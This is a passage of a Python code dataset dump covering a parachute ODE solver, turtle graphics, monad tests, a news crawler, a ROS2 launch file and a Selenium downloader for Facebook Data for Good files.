v[n]\n # Get body area and drag coefficient\n area_b[0] = self.get_area_b(t[n]) \n area_b[1] = self.get_area_b(t[n+1])\n drag_coeff[0] = self.get_drag_coeff(t[n])\n drag_coeff[1] = self.get_drag_coeff(t[n+1])\n \n difference = 100.0\n # Selfconsistency loop\n while difference > tolerance:\n # The theta rule\n z[n+1] = z[n] + time_step*theta*self.f1(v_old[n+1]) \\\n + time_step*(1.0 - theta)*self.f1(v[n])\n p[n+1] = p[n] + time_step*theta \\\n *self.f2(z_old[n+1], p_old[n+1], v_old[n+1]) \\\n + time_step*(1.0 - theta) \\\n *self.f2(z[n], p[n], v[n])\n v[n+1] = v[n] + time_step*theta \\\n *self.f3(z_old[n+1], p_old[n+1], v_old[n+1], \\\n drag_coeff[1], area_b[1]) \\\n + time_step*(1.0 - theta) \\\n *self.f3(z[n], p[n], v[n], \\\n drag_coeff[0], area_b[0])\n \n # Relative difference from previous iteration\n diff_z = abs((z[n+1] - z_old[n+1])/z_old[n+1])\n diff_p = abs((p[n+1] - p_old[n+1])/p_old[n+1])\n diff_v = abs((v[n+1] - v_old[n+1])/v_old[n+1])\n difference = max(diff_z, diff_p, diff_v)\n #print 'diff = ', difference\n \n if z[n+1] < 0.0:\n z[n+1] = z_ground\n v[n+1] = v_ground\n difference = -1.0\n #print 'diff = ', difference\n z_old[n+1] = z[n+1]\n p_old[n+1] = p[n+1]\n v_old[n+1] = v[n+1]\n \n return z, p, v, t\n\nclass Visualizer:\n def __init__(self, problem, solver):\n self.problem = problem\n self.solver = solver\n \n def plot_velocity(self):\n \"\"\"\n Plot the velocity as a function of time.\n \"\"\"\n import scitools.std\n plt = scitools.std\n \n plt.plot(self.solver.t, self.solver.v, '--')\n plt.xlabel('time (s)')\n plt.ylabel('velocity (m/s)')\n plt.title('Velocity of parachute jumper')\n plt.savefig('velocity.png')\n return plt\n \n def plot_altitude(self):\n \"\"\"\n Plot the altitude as a function of time.\n \"\"\"\n \n import scitools.std\n plt = scitools.std\n \n plt.plot(self.solver.t, self.solver.z, '--')\n plt.xlabel('time (s)')\n plt.ylabel('altitude (m)')\n plt.title('Altitude of parachute jumper')\n plt.savefig('altitude.png')\n return plt\n\n\ndef main():\n problem = Problem()\n solver = Solver(problem)\n visu = Visualizer(problem, solver)\n \n # Solve a system of ODE's to model\n # a parachute jump\n solver.solve()\n # Plot the velocity and altitude\n # as functions of time\n plot_v = visu.plot_velocity()\n plot_v.show()\n plot_a = visu.plot_altitude()\n plot_a.show()\n \n \nif __name__ == '__main__':\n main()\n \n","sub_path":"exercises/27/parachute_jumper2.py","file_name":"parachute_jumper2.py","file_ext":"py","file_size_in_byte":10797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"152420309","text":"#!usr/bin/python\n#coding:utf-8\n\nimport turtle,time\n\ndef main():\n\twin=turtle.Screen()\n\twin.bgpic(\"111.gif\")\n\twin.bgcolor('orange')\n\twin.title(\"我的一个小铁锹……\")\n\n\tmm = turtle.Turtle()\n\tmm.shape(\"circle\")\n\tmm.shapesize(1,1,0)\n\tmm.setposition(150,-40)\n\tmm.clear()\n\tmm.color(\"red\")\n\tmm.fillcolor(\"green\")\n\tmm.speed(10)\n\tmm.pensize(2)\n\n\tmm.rt(90)\t\n\tmm.fd(150)\n\t\n\tfor x in xrange(1,100):\t\t\n\t\tmm.setposition(150,-40)\t\t\n\t\tmm.rt(x)\n\t\tmm.fd(150)\n\n\tmm.lt(90)\n\tmm.circle(150)\n\n\ttime.sleep(20)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"homeworks/A11314/checkin12/day17-01.py","file_name":"day17-01.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"342056369","text":"class Quote:\n\n\tDIGITS = \"0123456789ABCDEF\"\n\t\n\t@staticmethod\n\tdef is_valid(number, base=10):\n\t\t\"\"\"\n\t\tReturn whether the number is in quote notation in the specified base.\n\n\t\tA number is in quote notation if:\n\t\t* there is at most one quote;\n\t\t* there is at most one radix point;\n\t\t* all other characters are numbers.\n\t\t\"\"\"\n\n\t\tif base > len(Quote.DIGITS) or base < 2:\n\t\t\traise ValueError(\"invalid base: \" + str(base))\n\n\t\treturn (\n\t\t\t(number.count(\"!\") <= 1 and \"'\" not in number and \".\" not in number) or\n\t\t\t(number.count(\"'\") <= 1 and number.count(\".\") <= 1) and \"!\" not in number) and \\\n\t\t\tall(ch in Quote.DIGITS[:base - 1] for ch in number if ch not in \"!'.\")\n","sub_path":"quote.py","file_name":"quote.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"534647339","text":"from unittest import TestCase\n\nfrom base.matrix import serialize\nfrom base.matrix import unserialize\nfrom core.regularization.unit_norm_regularization import UnitNormRegularization\n\n\nclass UnitNormRegularizationTest(TestCase):\n def setUp(self):\n self.w = unserialize([\n [0.1, -0.2, 0.3, 0.2],\n [-0.4, 0, -0.6, 0.6],\n [0.7, -0.8, 0.9, -0.8],\n [-0.2, 0.6, 0, 0]\n ])\n\n def test_regularization(self):\n reg = UnitNormRegularization(max_norm_squared=1.0)\n w_regularized = reg.apply(self.w)\n self.assertEqual(\n serialize(w_regularized, round_to=5),\n [\n [0.1, -0.2, 0.3, 0.2],\n [-0.4, 0, -0.6, 0.6],\n [0.36082, -0.41237, 0.46392, -0.8],\n [-0.2, 0.6, 0, 0]\n ]\n )\n\n reg = UnitNormRegularization(max_norm_squared=0.5)\n w_regularized = reg.apply(self.w)\n self.assertEqual(\n serialize(w_regularized, round_to=5),\n [\n [0.1, -0.2, 0.3, 0.2],\n [-0.38462, 0, -0.57692, 0.6],\n [0.18041, -0.20619, 0.23196, -0.8],\n [-0.2, 0.6, 0, 0]\n ]\n )\n","sub_path":"test/test_core/test_regularization/test_unit_norm_regularization.py","file_name":"test_unit_norm_regularization.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"216160936","text":"# Y0003084\n\ndef index():\n if auth.user:\n redirect(URL('collection', 'boxes'))\n\n # Find the 5 most recent public boxes\n newest = db(db.box.private==False).select(db.box.id, db.box.name, db.box.auth_user, db.box.created_at, orderby=~db.box.created_at, limitby=(0, 5))\n\n # Finding the 5 largest boxes is somewhat more complicated\n join = db((db.containership.box==db.box.id) & (db.box.private==False))\n count = db.containership.comic.count()\n results = join.select(db.box.id, db.box.name, db.box.auth_user, count, groupby=db.containership.box, orderby=~count, limitby=(0, 5))\n largest = [dict(id=row.box.id, name=row.box.name, screenname=row.box.auth_user.screenname, count=row[count]) for row in results]\n\n return dict(newest=newest, largest=largest)\n\ndef user():\n \"\"\"\n exposes:\n http://..../[app]/default/user/login\n http://..../[app]/default/user/logout\n http://..../[app]/default/user/register\n http://..../[app]/default/user/profile\n http://..../[app]/default/user/retrieve_password\n http://..../[app]/default/user/change_password\n http://..../[app]/default/user/manage_users (requires membership in\n http://..../[app]/default/user/bulk_register\n use @auth.requires_login()\n @auth.requires_membership('group name')\n @auth.requires_permission('read','table name',record_id)\n to decorate functions that need access control\n \"\"\"\n return dict(form=auth())\n","sub_path":"controllers/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"634919341","text":"'''\n显示所有的进度信息,包括网页内容下载,运行训练过程等\n'''\nimport requests\nimport os\nfrom tqdm import tqdm\n\ndef download_file(url, session=None, file_path='new_file', overwrite = False):\n '''\n 根据指定url下载文件\n :param url:\n :param session: 传入的会话参数,有的需要登录才能下载\n :param file_path: 文件存储路径,默认为当前目录下,存储文件为未命名文件\n :param overwrite: 是否覆盖同名文件,默认否\n :return: 正确下载返回True,否则False\n '''\n if session:\n res = session.get(url, stream = True)\n else:\n res = requests.get(url,stream=True)\n file_size = int(res.headers['content-length'])\n chunk_size = 1024\n if res.status_code == 200:\n if not overwrite and os.path.exists(file_path):\n return True\n else:\n progress_bar = tqdm(\n total=file_size,initial=0,unit='B',unit_scale=True,\n )\n with open(file_path,'wb') as f:\n for data in res.iter_content(chunk_size=chunk_size):\n if data:\n f.write(data)\n progress_bar.update(chunk_size)\n progress_bar.close()\n else:\n return False\n\n# if __name__ == '__main__':\n# url = \"https://dl.360safe.com/360/inst.exe\"\n# download_file(url)","sub_path":"cptools/progress.py","file_name":"progress.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"206574406","text":"import os\nimport yaml\nfrom launch import LaunchDescription\nfrom launch_ros.actions import Node\nfrom ament_index_python.packages import get_package_share_directory\nfrom launch import LaunchService\n\n\ndef load_file(package_name, file_path):\n package_path = get_package_share_directory(package_name)\n absolute_file_path = os.path.join(package_path, file_path)\n assert os.path.exists(absolute_file_path), \"No file exist for path: \\n {}\".format(absolute_file_path)\n\n try:\n with open(absolute_file_path, 'r') as file:\n return file.read()\n except EnvironmentError: # parent of IOError, OSError *and* WindowsError where available\n return None\n\n\ndef load_yaml(package_name, file_path):\n package_path = get_package_share_directory(package_name)\n absolute_file_path = os.path.join(package_path, file_path)\n assert os.path.exists(absolute_file_path), \"No file exist for path: \\n {}\".format(absolute_file_path)\n\n try:\n with open(absolute_file_path, 'r') as file:\n return yaml.load(file, yaml.FullLoader)\n except EnvironmentError: # parent of IOError, OSError *and* WindowsError where available\n return None\n\n\ndef generate_launch_description():\n robot_description_config = load_file('sapien_resources', 'xarm6_description/urdf/xarm6.urdf')\n robot_description = {'robot_description': robot_description_config}\n\n robot_description_semantic_config = load_file('sapien_resources', 'xarm6_moveit_config/config/xarm6.srdf')\n robot_description_semantic = {'robot_description_semantic': robot_description_semantic_config}\n\n kinematics_yaml = load_yaml('sapien_resources', 'xarm6_moveit_config/config/kinematics.yaml')\n # robot_description_kinematics = {'robot_description_kinematics': kinematics_yaml}\n\n controllers_yaml = load_yaml('sapien_resources', 'xarm6_moveit_config/config/controllers.yaml')\n moveit_controllers = {'moveit_simple_controller_manager': controllers_yaml}\n\n ompl_planning_pipeline_config = {'ompl': {\n 'planning_plugin': 'ompl_interface/OMPLPlanner',\n 'request_adapters': \"default_planner_request_adapters/AddTimeOptimalParameterization \"\n \"default_planner_request_adapters/FixWorkspaceBounds \"\n \"default_planner_request_adapters/FixStartStateBounds \"\n \"default_planner_request_adapters/FixStartStateCollision \"\n \"default_planner_request_adapters/FixStartStatePathConstraints\",\n 'start_state_max_bounds_error': 0.1}}\n ompl_planning_yaml = load_yaml('sapien_resources', 'xarm6_moveit_config/config/ompl_planning.yaml')\n ompl_planning_pipeline_config['ompl'].update(ompl_planning_yaml)\n\n # MoveItCpp demo executable\n parameter_node = Node(node_name='xarm6_config',\n # node_namespace=\"scene1\",\n package='demo_nodes_cpp',\n node_executable='parameter_blackboard',\n output='screen',\n parameters=[\n robot_description,\n robot_description_semantic,\n # kinematics_yaml,\n # ompl_planning_pipeline_config,\n # moveit_controllers\n ])\n\n return LaunchDescription([parameter_node])\n\n\ndef main():\n ls = LaunchService()\n ls.include_launch_description(generate_launch_description())\n ls.run()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"ros2_src/script/launch_xarm6_config.py","file_name":"launch_xarm6_config.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"354798244","text":"import tweepy\n\nconsumer_key = 'XXXX'\nconsumer_secret = 'XXXX'\n\naccess_key = 'XXXX'\naccess_secret = 'XXXX'\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_key, access_secret)\n\napi = tweepy.API(auth)\napi.update_status('This is a message sent from Python')\n","sub_path":"examples/session_4/post_tweet.py","file_name":"post_tweet.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"457679120","text":"\n\"\"\"\ndla podanego url sciaga tresc artykulu i zapisuje do obiektu Article\n\"\"\"\ndef BankierText(url):\n import urllib.request as uLib\n from bs4 import BeautifulSoup\n from dataModel.Document import Document\n \n page = uLib.urlopen(url)\n soup = BeautifulSoup(page, 'lxml')\n\n\n article_content = soup.find('div', {'id':'articleContent'})\n article_text = []\n for paragraph in article_content.find_all('p'):\n if not paragraph.text.strip() == \"\":\n article_text.append(paragraph.text.strip())\n \n date = soup.find('time', {'class','entry-date'}).text\n title_txt = soup.title.text.strip()\n\n article = Document()\n article.title = title_txt\n article.text = article_text \n article.date = date\n article.source = url\n return article\n\n\"\"\"\ndla Bankiera przechodzi przez podaną liczbę stron\ni pobiera artykuły\n\"\"\"\n\"\"\" BankierNewsCrawler\"\"\"\ndef BankierNewsCrawler(site_start=1, last_site=1):\n import urllib.request as uLib\n import csv\n from datetime import datetime as dt\n from bs4 import BeautifulSoup\n from dataModel.Document import Document\n from crawlers.BankierExtraction import BankierText\n from databaseHelpers.SqliteHelper import SqliteHelper\n\n #parametry które będa wejsciowe do funkcji\n\n BaseURL = 'https://www.bankier.pl'\n BankierNewsURL = 'https://www.bankier.pl/wiadomosc/'\n articles = []\n\n for i in range(site_start, last_site):\n page = uLib.urlopen(BankierNewsURL + str(i))\n soup = BeautifulSoup(page, 'lxml')\n\n links = []\n containers = soup.find_all('div', {'class':'article'})\n for container in containers:\n links.append(BaseURL + container.find('a', href = True)['href'])\n\n for link in links:\n art = BankierText(link) \n articles.append(art) \n\n with open('Bankier Articles sites ' +str(site_start) + '-' + str(last_site) + ' ' \\\n + dt.now().strftime(\"%Y-%m-%d %H-%M-%S\") + '.csv', 'w', newline='') as new_file:\n csv_writer = csv.writer(new_file, delimiter=';')\n\n for article in articles:\n for paragraph in article.text:\n csv_writer.writerow([article.title, article.date, article.source, paragraph])\n","sub_path":"TEXT_MINING_JW_TK/crawlers/BankierExtraction.py","file_name":"BankierExtraction.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"125970595","text":"# coding: utf-8\nimport unittest\nimport operator\n\nfrom monads import Just, Nothing, Maybe\nfrom monads import List\nfrom monads import curry2, identity, composition\nfrom monads import mreturn\n\n\nclass MaybeTestCase(unittest.TestCase):\n def test_identity(self):\n \"\"\"\n pure id <*> v = v\n \"\"\"\n val = object()\n self.assertTrue(Just(val).fmap(identity).value is val)\n\n def test_composition(self):\n \"\"\"\n pure (.) <*> u <*> v <*> w = u <*> (v <*> w)\n \"\"\"\n do_1 = Just(composition) * Just(lambda x: x + 2) * Just(lambda x: x * 4) * Just(3)\n do_2 = Just(lambda x: x + 2) * (Just(lambda x: x * 4) * Just(3))\n\n self.assertEqual(do_1.value, do_2.value)\n\n def test_homomorphism(self):\n \"\"\"\n pure f <*> pure x = pure (f x)\n \"\"\"\n f = lambda x: x * 2\n x = 3\n do_1 = mreturn(f, Maybe) * mreturn(x, Maybe)\n do_2 = mreturn(f(x), Maybe)\n self.assertEqual(do_1.value, do_2.value)\n\n def test_lreturn(self):\n \"\"\"\n return a >>= k == k a\n \"\"\"\n f = lambda x: mreturn(x + \"!\")\n do_1 = mreturn('x', Maybe) >> f\n do_2 = f('x')\n self.assertEqual(do_1.value, do_2.value)\n\n def test_rreturn(self):\n \"\"\"\n m >>= return == m\n \"\"\"\n do = Just(4) >> mreturn\n self.assertEqual(4, do.value)\n\n def test_transitive(self):\n \"\"\"\n m >>= (\\ x -> k x >>= h) == (m >>= k) >>= h\n \"\"\"\n k = lambda x: mreturn(x+2, Maybe)\n h = lambda x: mreturn(x*2, Maybe)\n e = lambda x: Nothing()\n x = 3\n\n do_1 = Just(x) >> (lambda x: k(x) >> h)\n do_2 = Just(x) >> k >> h\n\n self.assertEqual(do_1.value, do_2.value)\n\n def test_binding(self):\n do = Just(3) >> mdiv(9) >> madd(4)\n self.assertEqual(do.value, 7)\n\n def test_failed_binding(self):\n do = Just(0) >> mdiv(9) >> madd(4)\n self.assertTrue(do.is_nothing())\n\n do = Just(3) >> (lambda x: Nothing()) >> mdiv(9) >> madd(4)\n self.assertTrue(do.is_nothing())\n\n def test_polymorph(self):\n do = mreturn(3, Maybe) >> mdiv(9) >> madd(4)\n self.assertEqual(do.value, 7)\n\n\nclass ListTestCase(unittest.TestCase):\n def test_identity(self):\n \"\"\"\n pure id <*> v = v\n \"\"\"\n val = [1, 2, 3, 4]\n self.assertTrue(list(List(val).fmap(identity).value) == [1, 2, 3, 4])\n\n def test_composition(self):\n \"\"\"\n pure (.) <*> u <*> v <*> w = u <*> (v <*> w)\n \"\"\"\n do_1 = (mreturn(composition, List) *\n List([cadd(2), cadd(5)]) *\n List([cmult(3)]) *\n List([3]))\n\n do_2 = (List([cadd(2), cadd(5)]) *\n (List([cmult(3)]) *\n List([3])))\n\n self.assertEqual(do_1.to_list(), do_2.to_list())\n\n def test_homomorphism(self):\n \"\"\"\n pure f <*> pure x = pure (f x)\n \"\"\"\n f = lambda x: x * 2\n x = 3\n do_1 = mreturn(f, List) * mreturn(x, List)\n do_2 = mreturn(f(x), List)\n self.assertEqual(do_1.to_list(), do_2.to_list())\n\n def test_lreturn(self):\n \"\"\"\n return a >>= k == k a\n \"\"\"\n f = lambda x: mreturn(x + \"!\", List)\n do_1 = mreturn('x', List) >> f\n do_2 = f('x')\n self.assertEqual(do_1.to_list(), do_2.to_list())\n\n def test_rreturn(self):\n \"\"\"\n m >>= return == m\n \"\"\"\n do = List([4]) >> mreturn\n self.assertEqual(4, do.to_list()[0])\n\n def test_transitive(self):\n \"\"\"\n m >>= (\\ x -> k x >>= h) == (m >>= k) >>= h\n \"\"\"\n k = lambda x: mreturn(x+2, List)\n h = lambda x: mreturn(x*2, List)\n x = 3\n\n do_1 = mreturn(x, List) >> (lambda x: k(x) >> h)\n do_2 = mreturn(x, List) >> k >> h\n\n self.assertEqual(do_1.to_list(), do_2.to_list())\n\n def test_binding(self):\n def step(pos):\n x, y = pos\n return List(filter(lambda t: 0 < t[0] < 9 and 0 < t[1] < 9, [\n (x + 3, y + 2), (x + 3, y - 2),\n (x - 3, y + 2), (x - 3, y - 2),\n (x + 2, y + 3), (x + 2, y - 3),\n (x - 2, y - 2), (x - 2, y - 3),\n ]))\n\n def step3(pos):\n do = mreturn(pos, List) >> step >> step >> step\n return do.to_list()\n\n def can(start, stop):\n return stop in step3(start)\n\n self.assertTrue(can((1, 1), (2, 3)))\n self.assertTrue(can((5, 4), (2, 3)))\n self.assertFalse(can((1, 1), (8, 8)))\n\n\ncadd = curry2(operator.add)\ncmult = lambda a: lambda b: a * b\n\n\n@curry2\ndef mdiv(a, b):\n if b == 0:\n return Nothing()\n else:\n return mreturn(a / b)\n\n\n@curry2\ndef madd(a, b):\n return mreturn(a + b)\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"435699886","text":"import os\nimport scipy.misc\nimport numpy as np\nfrom datetime import datetime\n\nimport src.utils.utils as utils\n\n\ndef identity(inputs):\n \"\"\"\n Returns `inputs` itself.\n :param inputs: Any object.\n :return: inputs.\n \"\"\"\n return inputs\n\n\ndef load_image(image_path: str, read_channel=None, preprocessing_function=identity):\n \"\"\"\n Loads an image, applies the specified preprocessing on it and returns the preprocessed image.\n :param image_path: (str) Path of the image.\n :param read_channel: (int or None) Number of channels of the image to read.\n :param preprocessing_function: (function) The function that is applied on the read image for preprocessing.\n :return: (Maybe np.array) The preprocessed image.\n \"\"\"\n\n # Read image file according to the specified number of channels.\n if read_channel is None:\n image = scipy.misc.imread(image_path)\n elif read_channel == 3:\n image = scipy.misc.imread(image_path, mode='RGB')\n else:\n image = scipy.misc.imread(image_path, flatten=True)\n\n if len(image.shape) < 3:\n image = preprocessing_function(image)\n image = np.reshape(image, [image.shape[0], image.shape[1], 1])\n # I don't know why call np.reshape(), it seems redundant.\n else:\n image = preprocessing_function(image)\n\n return image\n\n\n_RNG_SEED = None\n\n\ndef get_rng(obj=None):\n \"\"\"\n Returns a random number generator.\n This function is copied from `tensorpack`\n \n\n :param obj: Some object to use to generate random seed.\n :return: (np.random.RandomState) A random number generator.\n \"\"\"\n\n seed = (id(obj) + os.getpid() + int(datetime.now().strftime('%Y%m%d%H%M%S%f'))) % 4294967295\n if _RNG_SEED is not None:\n seed = _RNG_SEED\n return np.random.RandomState(seed)\n\n\ndef get_file_list(file_directory: str, file_extension: str, sub_name: str = None):\n \"\"\"\n Returns a list that contains the paths of files that in the given root directory with the specified extension.\n\n :param file_directory: (str) Path of the root directory to search.\n :param file_extension: (str) Extension of the files whose paths are extracted.\n :param sub_name: (str) Sub-name that should be a part of the file name. If sub_name is None, then paths of any file\n with the specified extension that in the root directory are extracted.\n :return: (list) A list that contains the paths of files that in the given root directory with the specified extension.\n \"\"\"\n if sub_name is None:\n return np.array([os.path.join(root, name)\n for root, directories, files in os.walk(file_directory)\n for name in sorted(files) if name.endswith(file_extension)])\n else:\n return np.array([os.path.join(root, name)\n for root, directories, files in os.walk(file_directory)\n for name in sorted(files) if name.endswith(file_extension) and sub_name in name])\n\n\ndef fill_preprocessing_function_list(pf_list: list, n_pf: int, fill_with_function=identity):\n \"\"\"\n Fills `pf_list` with the specified function.\n\n Assuming the length of `pf_list` is n.\n\n If n is 0, the final list to return contains `n_pf` `fill_with_function`.\n\n If n < `n_pf`, then (`n_pf` - n) `fill_with_function` will be appended to `pf_list`.\n\n Else, a ValueError is raised.\n\n :param pf_list: (list) The list to fill. It is a list of preprocessing functions.\n :param n_pf: (int) Number of preprocessing functions in the final list.\n :param fill_with_function: (function) A preprocessing function.\n :return: (list) A list of preprocessing function. The length of the list is `n_pf`.\n \"\"\"\n if pf_list == None:\n return [identity for _ in range(n_pf)]\n # pf_list = [pf for pf in pf_list if pf is not None else identity]\n pf_list = utils.make_list(pf_list)\n\n new_list = []\n for pf in pf_list:\n if not pf:\n pf = identity\n new_list.append(pf)\n pf_list = new_list\n\n if len(pf_list) > n_pf:\n raise ValueError('Invalid number of preprocessing functions.')\n pf_list = pf_list + [fill_with_function for _ in range(n_pf - len(pf_list))]\n return pf_list\n","sub_path":"src/utils/dataflow.py","file_name":"dataflow.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"360787683","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 1 16:41:48 2020\n\n@author: hamishgibbs\n\"\"\"\n\nimport os\nimport glob\nimport shutil\nfrom selenium import webdriver\nimport time\nfrom datetime import datetime\nfrom progress.bar import Bar\nimport requests\n\ndef try_mkdir_silent(path):\n '''\n Make the target directory or do nothing if it already exists.\n \n Parameters\n ----------\n path : str\n directory to be made.\n\n Returns\n -------\n None.\n\n '''\n \n try:\n os.mkdir(path)\n except:\n pass\n \ndef get_home_dir():\n '''\n Expand user home directory.\n\n Returns\n -------\n str.\n\n '''\n \n return(os.path.expanduser(\"~\"))\n\n\ndef download_data(urls: list, keys: list):\n '''\n navigate the facebook login page and access each url\n\n Parameters\n ----------\n urls : list\n dataset urls.\n keys : list\n login keys username, password.\n\n Returns\n -------\n Start time of downloads.\n\n '''\n \n driver = webdriver.Chrome(executable_path='/Applications/chromedriver')\n \n download_start = time.time()\n \n driver.get(urls[0])\n \n driver.find_element_by_xpath('//*[@id=\"email\"]').send_keys(keys[0])\n \n driver.find_element_by_xpath('//*[@id=\"pass\"]').send_keys(keys[1])\n \n driver.find_element_by_xpath('//*[@id=\"loginbutton\"]').click()\n time.sleep(1)\n \n bar = Bar('Downloading', max=len(urls[1:]))\n for url in urls[1:]:\n driver.get(url)\n bar.next()\n time.sleep(1)\n \n bar.finish()\n \n driver.quit()\n \n return(download_start)\n\ndef rename_and_move(old_fn: str, old_dir: str, new_fn: str, new_dir: str):\n '''\n rename files and move them to a new directory\n\n Parameters\n ----------\n old_fn : str\n old filename.\n old_dir : str\n old directory.\n new_fn : str\n new filemane.\n new_dir : str\n new directory.\n\n Returns\n -------\n None.\n\n '''\n \n os.rename(old_dir + '/' + old_fn, old_dir + '/' + new_fn) \n\n shutil.move(old_dir + '/' + new_fn, new_dir + '/' + new_fn)\n \ndef get_new_file_name(file: str):\n '''\n parse default filename to reformat as COUNTRY_DATE.csv\n\n Parameters\n ----------\n file : str\n filename.\n\n Returns\n -------\n new filename.\n\n '''\n \n country = file.split('/')[-1].split(\" \")[0]\n \n date = file.split('/')[-1].split(\"_\")[-1].split(\".\")[0].replace('-', '_').replace(' ', '_')\n \n return(country + '_' + date + '.csv')\n \ndef move_most_recent_files(outdir: str, urls: list, download_start: float):\n '''\n get the most recent files from the download directory, rename them, and put them in the destination directory\n\n Parameters\n ----------\n outdir : str\n output directory.\n urls : list\n download urls.\n\n Returns\n -------\n None.\n\n '''\n \n try_mkdir_silent(outdir)\n \n csv_files = glob.glob(get_home_dir() + '/Downloads/*.csv')\n csv_files = {}\n \n for f in glob.glob(get_home_dir() + '/Downloads/*.csv'):\n csv_files[f] = os.path.getctime(f)\n \n downloaded_files = dict((k, v) for k, v in csv_files.items() if v >= download_start) \n \n #sorted_files = [f[0] for f in sorted(csv_files.items(), key=operator.itemgetter(1), reverse=True)[:len(urls)]]\n \n new_fns = [get_new_file_name(file) for file in downloaded_files]\n \n for i, f in enumerate(downloaded_files):\n \n rename_and_move(f.split('/')[-1], get_home_dir() + '/Downloads', new_fns[i], outdir)\n#%%\ndef get_update_date(outdir: str):\n '''\n Get the latest date added in the output directory.\n\n Parameters\n ----------\n outdir : str\n output directory.\n\n Returns\n -------\n latest date of files added: datetime.datetime.\n\n '''\n \n latest_addition = []\n \n for i, f in enumerate(glob.glob(outdir + '/*.csv')):\n \n f_date_parse = f.split('/')[-1].split('.')[0].split('_')\n \n year = int(f_date_parse[1])\n month = int(f_date_parse[2])\n day = int(f_date_parse[3])\n \n try:\n hour = int(f_date_parse[4].strip('0'))\n except:\n hour = 0\n \n \n latest_addition.append(datetime(year, month, day, hour))\n \n return(max(latest_addition))\n \n \ndef get_config():\n '''\n \n\n Raises\n ------\n SystemExit\n When requests.get() of .config file fails.\n Exception\n A .config file cannot be transformed to a dict.\n\n Returns\n -------\n dict of .config file data.\n\n '''\n \n config_url = 'https://raw.githubusercontent.com/hamishgibbs/pull_facebook_data_for_good/master/.config'\n \n try:\n r = requests.get(config_url)\n except requests.exceptions.RequestException as e: # This is the correct syntax\n raise SystemExit(e)\n \n try:\n config = dict(x.split(\"=\") for x in r.text.split(\"\\n\")[:-1]) \n except:\n raise Exception('Malformed .config file.')\n \n return(config)\n\ndef origin_to_datetime(origin: str):\n '''\n\n Parameters\n ----------\n origin : str\n string of dataset origin in format year_month_day(_hour).\n\n Raises\n ------\n ValueError\n When date parsing fails.\n\n Returns\n -------\n datetime.datetime object.\n\n '''\n \n if origin.count('_') == 3:\n \n origin = datetime.strptime(origin, '%Y_%m_%d_%H')\n \n elif origin.count('_') == 2:\n \n origin = datetime.strptime(origin, '%Y_%m_%d')\n \n else:\n raise ValueError('Unknown date format.')\n \n return(origin) \n \ndef get_download_variables(country: str, dataset: str):\n '''\n\n Parameters\n ----------\n country : str\n Country to be downloaded.\n dataset : str\n Dataset to be downloaded.\n\n Raises\n ------\n KeyError\n When a country and dataset combination is not in the .config file.\n\n Returns\n -------\n dict of download parameters (dataset id and origin).\n\n '''\n \n config = get_config()\n \n try:\n dataset_id = config['_'.join([country, dataset, 'ID'])]\n except:\n raise KeyError('No config value for {}. To add a new dataset, see the Readme.'.format('_'.join([country, dataset, 'ID'])))\n \n try:\n dataset_origin = config['_'.join([country, dataset, 'Origin'])]\n except:\n raise KeyError('No config value for {}. To add a new dataset, see the Readme.'.format('_'.join([country, dataset, 'Origin'])))\n \n dataset_origin = origin_to_datetime(dataset_origin)\n \n return({'id':dataset_id, 'origin':dataset_origin})\n \ndef remove_empty_files(country_output: str):\n '''\n \n\n Parameters\n ----------\n country_output : str\n Country-specific output directory.\n\n Returns\n -------\n None.\n\n '''\n fns = [country_output + '/' + fn for fn in os.listdir(country_output)]\n \n size = [os.path.getsize(fn) for fn in fns]\n \n fns = dict(zip(fns, size))\n \n empty_fns = list({k: v for k, v in fns.items() if v == 0 }.keys())\n \n if len(empty_fns) == 0:\n return(None)\n else:\n try:\n \n [os.remove(fn) for fn in empty_fns]\n \n print('Removed {} empty files.'.format(len(empty_fns)))\n \n except Exception as e:\n print(e)\n print('Unable to remove empty files.')\n \n \n \n \n ","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
